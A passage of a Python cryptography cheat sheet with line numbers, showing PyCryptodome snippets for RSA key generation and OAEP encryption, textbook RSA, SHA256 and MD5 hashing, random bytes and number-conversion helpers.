from Crypto.Cipher import PKCS1_OAEP
|
|
33
|
-
|
|
34
|
-
# Generate key
|
|
35
|
-
key = RSA.generate(2048)
|
|
36
|
-
pub = key.publickey()
|
|
37
|
-
|
|
38
|
-
# Encrypt / Decrypt
|
|
39
|
-
cipher = PKCS1_OAEP.new(pub)
|
|
40
|
-
ct = cipher.encrypt(data)
|
|
41
|
-
cipher = PKCS1_OAEP.new(key)
|
|
42
|
-
pt = cipher.decrypt(ct)
|
|
43
|
-
|
|
44
|
-
# RSA math
|
|
45
|
-
key = RSA.import_key(open("key.pem").read())
|
|
46
|
-
n = key.n # modulus
|
|
47
|
-
e = key.e # public exponent
|
|
48
|
-
d = key.d # private exponent
|
|
49
|
-
p = key.p # prime 1
|
|
50
|
-
q = key.q # prime 2
|
|
51
|
-
|
|
52
|
-
# Textbook RSA
|
|
53
|
-
ct = pow(m, e, n) # encrypt
|
|
54
|
-
pt = pow(ct, d, n) # decrypt
|
|
55
|
-
|
|
56
|
-
HASHING
|
|
57
|
-
from Crypto.Hash import SHA256, MD5, SHA1
|
|
58
|
-
|
|
59
|
-
h = SHA256.new(data)
|
|
60
|
-
print(h.hexdigest())
|
|
61
|
-
|
|
62
|
-
h = MD5.new(data)
|
|
63
|
-
print(h.hexdigest())
|
|
64
|
-
|
|
65
|
-
RANDOM
|
|
66
|
-
from Crypto.Random import get_random_bytes
|
|
67
|
-
key = get_random_bytes(16) # 16 random bytes
|
|
68
|
-
iv = get_random_bytes(16)
|
|
69
|
-
|
|
70
|
-
USEFUL MATH
|
|
71
|
-
from Crypto.Util.number import *
|
|
72
|
-
long_to_bytes(n) Number → bytes
|
|
73
|
-
bytes_to_long(b) Bytes → number
|
|
74
|
-
getPrime(1024) Random 1024-bit prime
|
|
75
|
-
isPrime(n) Primality test
|
|
76
|
-
inverse(e, phi) Modular inverse
|
|
77
|
-
GCD(a, b) Greatest common divisor
|